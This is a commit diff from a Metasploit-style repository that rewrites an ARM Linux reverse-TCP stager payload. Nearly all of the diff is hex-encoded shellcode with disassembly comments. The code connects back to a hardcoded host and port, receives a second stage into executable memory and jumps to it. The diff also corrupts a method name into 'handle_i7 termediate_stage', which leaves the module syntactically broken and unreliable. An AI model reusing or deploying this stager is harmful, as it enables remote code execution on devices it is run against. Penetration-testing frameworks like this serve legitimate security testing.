Skip to content

Commit 2c0f0f5

Browse files
committed
Changed reverse payload as suggested.
1 parent 07c3565 commit 2c0f0f5

File tree

1 file changed

+51
-55
lines changed

1 file changed

+51
-55
lines changed

modules/payloads/stagers/linux/armle/reverse_tcp.rb

Lines changed: 51 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -40,67 +40,63 @@ def initialize(info = {})
4040
},
4141
'Payload' =>
4242
[
43-
0xe59f70c0, # ldr r7, [pc, #192] ; 811c <last+0x20>
44-
0xe3a00002, # mov r0, #2
45-
0xe3a01001, # mov r1, #1
46-
0xe3a02006, # mov r2, #6
47-
0xef000000, # svc 0x00000000
48-
0xe1a0c000, # mov ip, r0
49-
0xe2877002, # add r7, r7, #2
50-
0xe28f109c, # add r1, pc, #156 ; 0x9c
51-
0xe3a02010, # mov r2, #16
52-
0xef000000, # svc 0x00000000
53-
0xe1a0000c, # mov r0, ip
54-
0xe24dd004, # sub sp, sp, #4
55-
0xe2877008, # add r7, r7, #8
56-
0xe1a0100d, # mov r1, sp
57-
0xe3a02004, # mov r2, #4
58-
0xe3a03000, # mov r3, #0
59-
0xef000000, # svc 0x00000000
60-
0xe59d1000, # ldr r1, [sp]
61-
0xe59f307c, # ldr r3, [pc, #124] ; 8120 <last+0x24>
62-
0xe0011003, # and r1, r1, r3
63-
0xe3a02001, # mov r2, #1
64-
0xe1a02602, # lsl r2, r2, #12
65-
0xe0811002, # add r1, r1, r2
66-
0xe3a070c0, # mov r7, #192 ; 0xc0
67-
0xe3e00000, # mvn r0, #0
68-
0xe3a02007, # mov r2, #7
69-
0xe59f3060, # ldr r3, [pc, #96] ; 8124 <last+0x28>
70-
0xe1a04000, # mov r4, r0
71-
0xe3a05000, # mov r5, #0
72-
0xef000000, # svc 0x00000000
73-
0xe59f7054, # ldr r7, [pc, #84] ; 8128 <last+0x2c>
74-
0xe1a01000, # mov r1, r0
75-
0xe1a0000c, # mov r0, ip
76-
0xe3a03000, # mov r3, #0
77-
0xe59d2000, # ldr r2, [sp]
78-
0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8
79-
0xe58d2000, # str r2, [sp]
80-
0xe3520000, # cmp r2, #0
81-
0xda000002, # ble 80fc <last>
82-
0xe3a02ffa, # mov r2, #1000 ; 0x3e8
83-
0xef000000, # svc 0x00000000
84-
0xeafffff7, # b 80dc <loop>
85-
0xe2822ffa, # add r2, r2, #1000 ; 0x3e8
86-
0xef000000, # svc 0x00000000
87-
0xe1a0f001, # mov pc, r1
88-
0xe3a07001, # mov r7, #1
89-
0xe3a00001, # mov r0, #1
90-
0xef000000, # svc 0x00000000
91-
0x5c110002, # .word 0x5c110002
92-
0x0100007f, # .word 0x0100007f
93-
0x00000119, # .word 0x00000119
94-
0xfffff000, # .word 0xfffff000
95-
0x00001022, # .word 0x00001022
96-
0x00000123 # .word 0x00000123
43+
0xe59f70b4, # ldr r7, [pc, #180] ; 8110 <last+0x14>
44+
0xe3a00002, # mov r0, #2
45+
0xe3a01001, # mov r1, #1
46+
0xe3a02006, # mov r2, #6
47+
0xef000000, # svc 0x00000000
48+
0xe1a0c000, # mov ip, r0
49+
0xe2877002, # add r7, r7, #2
50+
0xe28f1090, # add r1, pc, #144 ; 0x90
51+
0xe3a02010, # mov r2, #16
52+
0xef000000, # svc 0x00000000
53+
0xe1a0000c, # mov r0, ip
54+
0xe24dd004, # sub sp, sp, #4
55+
0xe2877008, # add r7, r7, #8
56+
0xe1a0100d, # mov r1, sp
57+
0xe3a02004, # mov r2, #4
58+
0xe3a03000, # mov r3, #0
59+
0xef000000, # svc 0x00000000
60+
0xe59d1000, # ldr r1, [sp]
61+
0xe59f3070, # ldr r3, [pc, #112] ; 8114 <last+0x18>
62+
0xe0011003, # and r1, r1, r3
63+
0xe3a02001, # mov r2, #1
64+
0xe1a02602, # lsl r2, r2, #12
65+
0xe0811002, # add r1, r1, r2
66+
0xe3a070c0, # mov r7, #192 ; 0xc0
67+
0xe3e00000, # mvn r0, #0
68+
0xe3a02007, # mov r2, #7
69+
0xe59f3054, # ldr r3, [pc, #84] ; 8118 <last+0x1c>
70+
0xe1a04000, # mov r4, r0
71+
0xe3a05000, # mov r5, #0
72+
0xef000000, # svc 0x00000000
73+
0xe2877063, # add r7, r7, #99 ; 0x63
74+
0xe1a01000, # mov r1, r0
75+
0xe1a0000c, # mov r0, ip
76+
0xe3a03000, # mov r3, #0
77+
0xe59d2000, # ldr r2, [sp]
78+
0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8
79+
0xe58d2000, # str r2, [sp]
80+
0xe3520000, # cmp r2, #0
81+
0xda000002, # ble 80fc <last>
82+
0xe3a02ffa, # mov r2, #1000 ; 0x3e8
83+
0xef000000, # svc 0x00000000
84+
0xeafffff7, # b 80dc <loop>
85+
0xe2822ffa, # add r2, r2, #1000 ; 0x3e8
86+
0xef000000, # svc 0x00000000
87+
0xe1a0f001, # mov pc, r1
88+
0x5c110002, # .word 0x5c110002
89+
0x0100007f, # .word 0x0100007f
90+
0x00000119, # .word 0x00000119
91+
0xfffff000, # .word 0xfffff000
92+
0x00001022 # .word 0x00001022
9793
].pack("V*")
9894

9995
}
10096
))
10197
end
10298

103-
def handle_intermediate_stage(conn, payload)
99+
def handle_i7 termediate_stage(conn, payload)
104100

105101
print_status("Transmitting stage length value...(#{payload.length} bytes)")
106102

0 commit comments

Comments
 (0)